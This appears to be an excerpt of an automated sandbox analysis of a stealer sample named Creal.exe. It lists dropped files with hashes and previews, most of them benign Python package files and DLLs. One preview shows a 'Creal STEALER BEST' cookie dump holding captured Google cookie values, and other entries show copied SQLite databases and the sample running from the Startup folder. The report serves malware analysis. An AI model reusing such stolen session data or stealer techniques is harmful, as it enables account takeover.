SSDEEP:	96:Dx2ZSaCSmS8R902Vpnu386eLQ9Ac+fFZpDN00x2jZ2SBXZJSwTE:9Smzf02Vpnu386mQ9B+TP0vJHJSwTE
MD5:	98ABEAACC0E0E4FC385DFF67B607071A
SHA1:	E8C830D8B0942300C7C87B3B8FD15EA1396E07BD
SHA-256:	6A7B90EFFEE1E09D5B484CDF7232016A43E2D9CC9543BCBB8E494B1EC05E1F59
SHA-512:	F1D59046FFA5B0083A5259CEB03219CCDB8CC6AAC6247250CBD83E70F080784391FCC303F7630E1AD40E5CCF5041A57CB9B68ADEFEC1EBC6C31FCF7FFC65E9B7
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: importlib_metadata.Version: 8.0.0.Summary: Read metadata from Python packages.Author-email: "Jason R. Coombs" <jaraco@jaraco.com>.Project-URL: Source, https://github.com/python/importlib_metadata.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.License-File: LICENSE.Requires-Dist: zipp >=0.5.Requires-Dist: typing-extensions >=3.6.4 ; python_version < "3.8".Provides-Extra: doc.Requires-Dist: sphinx >=3.5 ; extra == 'doc'.Requires-Dist: jaraco.packaging >=9.3 ; extra == 'doc'.Requires-Dist: rst.linker >=1.9 ; extra == 'doc'.Requires-Dist: furo ; extra == 'doc'.Requires-Dist: sphinx-lint ; extra == 'doc'.Requires-Dist: jaraco.tidelift >=1.4 ; extra == 'doc'.Provides-Extra: perf.Requires-D

C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2518
Entropy (8bit):	5.6307766747793275
Encrypted:	false
SSDEEP:	48:UnuXTg06U5J/Vw9l/gfNX7/XzBk9pvJq/fwJOfYrBfnJ/V0XJnzN/3WJV:bXzP/EgdzzBkDJsoIYrBfJ/CXNz9qV
MD5:	EB513CAFA5226DDA7D54AFDCC9AD8A74
SHA1:	B394C7AEC158350BAF676AE3197BEF4D7158B31C
SHA-256:	0D8D3C6EEB9EBBE86CAC7D60861552433C329DA9EA51248B61D02BE2E5E64030
SHA-512:	A0017CFAFF47FDA6067E3C31775FACEE4728C3220C2D4BD70DEF328BD20AA71A343E39DA15CD6B406F62311894C518DFCF5C8A4AE6F853946F26A4B4E767924E
Malicious:	false
Preview:	importlib_metadata-8.0.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..importlib_metadata-8.0.0.dist-info/LICENSE,sha256=z8d0m5b2O9McPEK1xHG_dWgUBT6EfBDz6wA0F7xSPTA,11358..importlib_metadata-8.0.0.dist-info/METADATA,sha256=anuQ7_7h4J1bSEzfcjIBakPi2cyVQ7y7jklLHsBeH1k,4648..importlib_metadata-8.0.0.dist-info/RECORD,,..importlib_metadata-8.0.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..importlib_metadata-8.0.0.dist-info/WHEEL,sha256=mguMlWGMX-VHnMpKOjjQidIo1ssRlCFu4a4mBpz1s2M,91..importlib_metadata-8.0.0.dist-info/top_level.txt,sha256=CO3fD9yylANiXkrMo4qHLV_mqXL2sC5JFKgt1yWAT-A,19..importlib_metadata/__init__.py,sha256=tZNB-23h8Bixi9uCrQqj9Yf0aeC--Josdy3IZRIQeB0,33798..importlib_metadata/__pycache__/__init__.cpython-312.pyc,,..importlib_metadata/__pycache__/_adapters.cpython-312.pyc,,..importlib_metadata/__pycache__/_collections.cpython-312.pyc,,..importlib_metadata/__pycache__/_compat.cpython-312.pyc,,..importlib_metadata/__pycac

C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	91
Entropy (8bit):	4.687870576189661
Encrypted:	false
SSDEEP:	3:RtEeXMRYFAVLMvhRRP+tPCCfA5S:RtC1VLMvhjWBBf
MD5:	7D09837492494019EA51F4E97823D79F
SHA1:	7829B4324BB542799494131A270EC3BDAD4DEDEF
SHA-256:	9A0B8C95618C5FE5479CCA4A3A38D089D228D6CB1194216EE1AE26069CF5B363
SHA-512:	A0063220ECDD22C3E735ACFF6DE559ACF3AC4C37B81D37633975A22A28B026F1935CD1957C0FF7D2ECC8B7F83F250310795EECC5273B893FFAB115098F7B9C38
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: setuptools (70.1.1).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.536886723742169
Encrypted:	false
SSDEEP:	3:JSej0EBERG:50o4G
MD5:	A24465F7850BA59507BF86D89165525C
SHA1:	4E61F9264DE74783B5924249BCFE1B06F178B9AD
SHA-256:	08EDDF0FDCB29403625E4ACCA38A872D5FE6A972F6B02E4914A82DD725804FE0
SHA-512:	ECF1F6B777970F5257BDDD353305447083008CEBD8E5A27C3D1DA9C7BDC3F9BF3ABD6881265906D6D5E11992653185C04A522F4DB5655FF75EEDB766F93D5D48
Malicious:	false
Preview:	importlib_metadata.

C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor\jaraco\text\Lorem ipsum.txt

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	ASCII text, with very long lines (888)
Category:	dropped
Size (bytes):	1335
Entropy (8bit):	4.226823573023539
Encrypted:	false
SSDEEP:	24:FP6Hbz+g9RPZ14bJi04L6GEbX4UQF4UkZQhxI2EIhNyu:9E+i6bJmLm43+Uxxnh0u
MD5:	4CE7501F6608F6CE4011D627979E1AE4
SHA1:	78363672264D9CD3F72D5C1D3665E1657B1A5071
SHA-256:	37FEDCFFBF73C4EB9F058F47677CB33203A436FF9390E4D38A8E01C9DAD28E0B
SHA-512:	A4CDF92725E1D740758DA4DD28DF5D1131F70CEF46946B173FE6956CC0341F019D7C4FECC3C9605F354E1308858721DADA825B4C19F59C5AD1CE01AB84C46B24
Malicious:	false
Preview:	Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum..Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque.

C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor\wheel-0.43.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	5.115074330424529
Encrypted:	false
SSDEEP:	24:PWmrRONJHLH0cPP3gtkHw1h39QHOsUv4eOk4/+jvho3nPz:ttONJbbvE/NQHOs5eNS3n7
MD5:	7FFB0DB04527CFE380E4F2726BD05EBF
SHA1:	5B39C45A91A556E5F1599604F1799E4027FA0E60
SHA-256:	30C23618679108F3E8EA1D2A658C7CA417BDFC891C98EF1A89FA4FF0C9828654
SHA-512:	205F284F3A7E8E696C70ED7B856EE98C1671C68893F0952EEC40915A383BC452B99899BDC401F9FE161A1BF9B6E2CEA3BCD90615EEE9173301657A2CE4BAFE14
Malicious:	false
Preview:	MIT License..Copyright (c) 2012 Daniel Holth <dholth@fastmail.fm> and contributors..Permission is hereby granted, free of charge, to any person obtaining a.copy of this software and associated documentation files (the "Software"),.to deal in the Software without restriction, including without limitation.the rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the.Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included.in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL.THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR.OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERW

C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor\wheel-0.43.0.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	2153
Entropy (8bit):	5.088249746074878
Encrypted:	false
SSDEEP:	48:DEhpFu5MktjaywDK48d+md+7uT8RfkD1UKd+mOl1Awry:DEhpiMktjayq/7kOfsUzmbYy
MD5:	EBEA27DA14E3F453119DC72D84343E8C
SHA1:	7CEB6DBE498B69ABF4087637C6F500742FF7E2B4
SHA-256:	59BAC22B00A59D3E5608A56B8CF8EFC43831A36B72792EE4389C9CD4669C7841
SHA-512:	A41593939B9325D40CB67FD3F41CD1C9E9978F162487FB469094C41440B5F48016B9A66BE2E6E4A0406D6EEDB25CE4F5A860BA1E3DC924B81F63CEEE3AE31117
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: wheel.Version: 0.43.0.Summary: A built-package format for Python.Keywords: wheel,packaging.Author-email: Daniel Holth <dholth@fastmail.fm>.Maintainer-email: Alex Gr.nholm <alex.gronholm@nextday.fi>.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Topic :: System :: Archiving :: Packaging.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Requires-Dist: pytest >= 6.0.0 ; extra == "test".Requires-Dist: setuptools >= 65 ; extra == "test".Project-URL: Changelog, https://wheel.readthedocs.io/en/s

C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor\wheel-0.43.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	4557
Entropy (8bit):	5.714200636114494
Encrypted:	false
SSDEEP:	96:QXVuEmegx01TQIvFCiq9H/H7vp88FxTXiJPkGJP4CWweXQHmnDpMI78IegK5EeZR:QXVxAbYkU4CWweXQHmnDpMeV2BvTRqQF
MD5:	44D352C4997560C7BFB82D9360F5985A
SHA1:	BE58C7B8AB32790384E4E4F20865C4A88414B67A
SHA-256:	783E654742611AF88CD9F00BF01A431A219DB536556E63FF981C7BD673070AC9
SHA-512:	281B1D939A560E6A08D0606E5E8CE15F086B4B45738AB41ED6B5821968DC8D764CD6B25DB6BA562A07018C271ABF17A6BC5A380FAD05696ADF1D11EE2C5749C8
Malicious:	false
Preview:	../../bin/wheel,sha256=cT2EHbrv-J-UyUXu26cDY-0I7RgcruysJeHFanT1Xfo,249..wheel-0.43.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..wheel-0.43.0.dist-info/LICENSE.txt,sha256=MMI2GGeRCPPo6h0qZYx8pBe9_IkcmO8aifpP8MmChlQ,1107..wheel-0.43.0.dist-info/METADATA,sha256=WbrCKwClnT5WCKVrjPjvxDgxo2tyeS7kOJyc1GaceEE,2153..wheel-0.43.0.dist-info/RECORD,,..wheel-0.43.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..wheel-0.43.0.dist-info/WHEEL,sha256=EZbGkh7Ie4PoZfRQ8I0ZuP9VklN_TvcZ6DSE5Uar4z4,81..wheel-0.43.0.dist-info/entry_points.txt,sha256=rTY1BbkPHhkGMm4Q3F0pIzJBzW2kMxoG1oriffvGdA0,104..wheel/__init__.py,sha256=D6jhH00eMzbgrXGAeOwVfD5i-lCAMMycuG1L0useDlo,59..wheel/__main__.py,sha256=NkMUnuTCGcOkgY0IBLgBCVC_BGGcWORx2K8jYGS12UE,455..wheel/__pycache__/__init__.cpython-312.pyc,,..wheel/__pycache__/__main__.cpython-312.pyc,,..wheel/__pycache__/_setuptools_logging.cpython-312.pyc,,..wheel/__pycache__/bdist_wheel.cpython-312.pyc,,..wheel/__pycache

C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor\wheel-0.43.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.672346887071811
Encrypted:	false
SSDEEP:	3:RtEeX/QFM+vxP+tPCCfA5I:Rt1Qq2WBB3
MD5:	24019423EA7C0C2DF41C8272A3791E7B
SHA1:	AAE9ECFB44813B68CA525BA7FA0D988615399C86
SHA-256:	1196C6921EC87B83E865F450F08D19B8FF5592537F4EF719E83484E546ABE33E
SHA-512:	09AB8E4DAA9193CFDEE6CF98CCAE9DB0601F3DCD4944D07BF3AE6FA5BCB9DC0DCAFD369DE9A650A38D1B46C758DB0721EBA884446A8A5AD82BB745FD5DB5F9B1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: flit 3.9.0.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor\wheel-0.43.0.dist-info\entry_points.txt

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	104
Entropy (8bit):	4.271713330022269
Encrypted:	false
SSDEEP:	3:1SSAnAYgh+MWTMhk6WjrAM5t5ln:1Jb9WTMhk9jUM5t5ln
MD5:	6180E17C30BAE5B30DB371793FCE0085
SHA1:	E3A12C421562A77D90A13D8539A3A0F4D3228359
SHA-256:	AD363505B90F1E1906326E10DC5D29233241CD6DA4331A06D68AE27DFBC6740D
SHA-512:	69EAE7B1E181D7BA1D3E2864D31E1320625A375E76D3B2FBF8856B3B6515936ACE3138D4D442CABDE7576FCFBCBB0DEED054D90B95CFA1C99829DB12A9031E26
Malicious:	false
Preview:	[console_scripts].wheel=wheel.cli:main..[distutils.commands].bdist_wheel=wheel.bdist_wheel:bdist_wheel..

C:\Users\user\AppData\Local\Temp\_MEI56762\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1540368
Entropy (8bit):	6.577233901213655
Encrypted:	false
SSDEEP:	24576:cmKZpHTv4iPI9FDgJNRs++l8GwLXSz4ih5Z5jWbsxuIl40OwumzuLxIhiE:0rJoDgJNRs+U8GwLXSMIZ5jWb0uIl48R
MD5:	7E632F3263D5049B14F5EDC9E7B8D356
SHA1:	92C5B5F96F1CBA82D73A8F013CBAF125CD0898B8
SHA-256:	66771FBD64E2D3B8514DD0CD319A04CA86CE2926A70F7482DDEC64049E21BE38
SHA-512:	CA1CC67D3EB63BCA3CE59EF34BECCE48042D7F93B807FFCD4155E4C4997DC8B39919AE52AB4E5897AE4DBCB47592C4086FAC690092CAA7AA8D3061FBA7FE04A2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......gsX.#.6.#.6.#.6.*j../.6.3.7.!.6.3.5.'.6.3.2.+.6.3.3...6.hj7. .6.#.7...6.k.>.".6.k.6.".6.k..".6.k.4.".6.Rich#.6.........................PE..d.....g.........." ...).0...(.......................................................P....`..............................................#...........`...............R.../...p..X...0...T..............................@............@..X............................text...9........0.................. ..`.rdata..,....@.......4..............@..@.data...`M...0...D..................@....pdata...............\..............@..@.rsrc........`.......8..............@..@.reloc..X....p.......B..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI56762\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	709904
Entropy (8bit):	5.861739047785334
Encrypted:	false
SSDEEP:	12288:FYGdLI/X77mvfldCKGihH32W3cnPSqrUgLIe:FYGW7qNxr3cnPXLIe
MD5:	0902D299A2A487A7B0C2D75862B13640
SHA1:	04BCBD5A11861A03A0D323A8050A677C3A88BE13
SHA-256:	2693C7EE4FBA55DC548F641C0CB94485D0E18596FFEF16541BD43A5104C28B20
SHA-512:	8CBEF5A9F2D24DA1014F8F1CCBDDD997A084A0B04DD56BCB6AC38DDB636D05EF7E4EA7F67A085363AAD3F43D45413914E55BDEF14A662E80BE955E6DFC2FECA3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Q.............(.....(.....(.....(.....)................).....).....)x....)....Rich..................PE..d.....g.........." ...).B...f......P,..............................................<.....`.........................................P...X................................/..........p...T...........................0...@............`..h............................text....@.......B.................. ..`.rdata...?...`...@...F..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_edusmtpg.41k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hdhfbhsk.m2d.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hhsnf5ar.thn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iggbdv3s.2dr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qcznofi3.g1i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t3vwmmqj.aw4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_um4u1suh.lx5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xfasjigf.dr4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\crcook.txt

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	304
Entropy (8bit):	5.90790645354655
Encrypted:	false
SSDEEP:	6:FO1g2D1Qv3rocHDKJlSMDuyXdt3RdVAkEhW/UPmTU4OvOrGISh+3rocHDyzxbW:CgC1Qv79mlDuyXv3RdJqmOvO65+79EM
MD5:	16B117D739C5C713216C888646504566
SHA1:	63577F666F43DC5960560C35D6E9978F612BE2C3
SHA-256:	F1F819FA429E383A289E8226E1E25BEF457589FF61E84817371ED9D9658FA5DF
SHA-512:	83C89FD6D78201D49EFBEBC0B6F0E3646C2246D0E082DB909C88252E3AA4FCC7304016514DB80D4B50339295689698D45C24F83E71F1D166CB62F4C399EBE37D
Malicious:	false
Preview:	<--Creal STEALER BEST -->.....google.com.TRUE./.FALSE.2597573456.NID.511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg...google.com.TRUE./.FALSE.2597573456.1P_JAR.2023-10-05-06..

C:\Users\user\AppData\Local\Tempcrczxitjin.db

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrnfplvcwt.db

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrqdifbbwb.db

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
